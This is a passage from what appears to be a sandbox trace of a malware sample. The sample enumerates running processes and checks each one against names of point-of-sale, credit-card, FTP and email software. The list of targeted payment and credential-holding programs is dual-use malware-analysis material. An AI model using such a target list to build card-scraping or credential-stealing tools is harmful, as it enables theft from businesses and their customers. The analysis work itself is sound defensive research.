hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.787] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0192.788] GetTickCount () returned 0x188069c [0192.788] GetCurrentThreadId () returned 0xa0c [0192.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.788] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.788] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0192.789] GetTickCount () returned 0x188069c [0192.789] GetCurrentThreadId () returned 0xa0c [0192.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.790] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0192.791] GetTickCount () returned 0x188069c [0192.791] GetCurrentThreadId () returned 0xa0c [0192.791] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.792] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.792] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0192.793] GetTickCount () returned 0x18806ac [0192.793] GetCurrentThreadId () returned 0xa0c [0192.793] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.794] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.794] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0192.795] GetTickCount () returned 0x18806ac [0192.795] GetCurrentThreadId () returned 0xa0c [0192.795] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.795] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.795] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0192.796] GetTickCount () returned 0x18806ac [0192.796] GetCurrentThreadId () returned 0xa0c [0192.796] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.797] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.797] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0192.798] GetTickCount () returned 0x18806ac [0192.798] GetCurrentThreadId () returned 0xa0c [0192.798] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.799] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.799] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0192.800] GetTickCount () returned 0x18806ac [0192.800] GetCurrentThreadId () returned 0xa0c [0192.800] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.801] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.801] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0192.802] GetTickCount () returned 0x18806ac [0192.802] GetCurrentThreadId () returned 0xa0c [0192.802] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.802] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.802] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0192.804] GetTickCount () returned 0x18806ac [0192.804] GetCurrentThreadId () returned 0xa0c [0192.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.804] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0192.805] GetTickCount () returned 0x18806ac [0192.805] GetCurrentThreadId () returned 0xa0c [0192.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.806] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0192.807] GetTickCount () returned 0x18806ac [0192.807] GetCurrentThreadId () returned 0xa0c [0192.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.809] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0192.810] GetTickCount () returned 0x18806bb [0192.811] GetCurrentThreadId () returned 0xa0c [0192.811] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.811] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.811] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0192.812] GetTickCount () returned 0x18806bb [0192.812] GetCurrentThreadId () returned 0xa0c [0192.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.812] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.812] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0192.813] GetTickCount () returned 0x18806bb [0192.813] GetCurrentThreadId () returned 0xa0c [0192.813] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.814] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.814] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0192.814] GetTickCount () returned 0x18806bb [0192.814] GetCurrentThreadId () returned 0xa0c [0192.814] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.815] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0192.816] GetTickCount () returned 0x18806bb [0192.816] GetCurrentThreadId () returned 0xa0c [0192.816] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.816] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0192.817] GetTickCount () returned 0x18806bb [0192.817] GetCurrentThreadId () returned 0xa0c [0192.817] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.817] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.817] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0192.818] GetTickCount () returned 0x18806bb [0192.818] GetCurrentThreadId () returned 0xa0c [0192.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.819] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.819] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0192.820] GetTickCount () returned 0x18806bb [0192.820] GetCurrentThreadId () returned 0xa0c [0192.820] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.820] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.820] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0192.821] GetTickCount () returned 0x18806bb [0192.821] GetCurrentThreadId () returned 0xa0c [0192.821] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.822] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.822] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0192.822] GetTickCount () returned 0x18806bb [0192.823] GetCurrentThreadId () returned 0xa0c [0192.823] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.823] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.823] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0192.824] GetTickCount () returned 0x18806cb [0192.824] GetCurrentThreadId () returned 0xa0c [0192.824] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.824] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.824] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0192.825] GetTickCount () returned 0x18806cb [0192.826] GetCurrentThreadId () returned 0xa0c [0192.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.826] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0192.827] GetTickCount () returned 0x18806cb [0192.827] GetCurrentThreadId () returned 0xa0c [0192.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.828] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.828] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0192.829] GetTickCount () returned 0x18806cb [0192.829] GetCurrentThreadId () returned 0xa0c [0192.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.829] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0192.831] GetTickCount () returned 0x18806cb [0192.831] GetCurrentThreadId () returned 0xa0c [0192.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.831] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0192.832] GetTickCount () returned 0x18806cb [0192.832] GetCurrentThreadId () returned 0xa0c [0192.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.833] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0192.833] GetTickCount () returned 0x18806cb [0192.834] GetCurrentThreadId () returned 0xa0c [0192.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.834] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0192.835] GetTickCount () returned 0x18806cb [0192.835] GetCurrentThreadId () returned 0xa0c [0192.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.836] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.836] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0192.836] GetTickCount () returned 0x18806cb [0192.836] GetCurrentThreadId () returned 0xa0c [0192.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.837] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="third-hot-peace.exe")) returned 1 [0192.838] GetTickCount () returned 0x18806cb [0192.838] GetCurrentThreadId () returned 0xa0c [0192.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.838] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="you.exe")) returned 1 [0192.840] GetTickCount () returned 0x18806db [0192.840] GetCurrentThreadId () returned 0xa0c [0192.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.840] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.840] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="green art report.exe")) returned 1 [0192.841] GetTickCount () returned 0x18806db [0192.841] GetCurrentThreadId () returned 0xa0c [0192.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.841] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0192.843] GetTickCount () returned 0x18806db [0192.843] GetCurrentThreadId () returned 0xa0c [0192.843] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.843] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.843] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0192.844] GetTickCount () returned 0x18806db [0192.844] GetCurrentThreadId () returned 0xa0c [0192.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.844] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.844] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0192.845] GetTickCount () returned 0x18806db [0192.845] GetCurrentThreadId () returned 0xa0c [0192.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.846] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0192.847] GetTickCount () returned 0x18806db [0192.847] GetCurrentThreadId () returned 0xa0c [0192.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.847] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0192.848] GetTickCount () returned 0x18806db [0192.848] GetCurrentThreadId () returned 0xa0c [0192.848] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.849] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0192.850] GetTickCount () returned 0x18806db [0192.850] GetCurrentThreadId () returned 0xa0c [0192.850] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.851] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.851] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0192.851] GetTickCount () returned 0x18806db [0192.852] GetCurrentThreadId () returned 0xa0c [0192.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.852] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.852] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0192.853] GetTickCount () returned 0x18806db [0192.853] GetCurrentThreadId () returned 0xa0c [0192.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.853] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 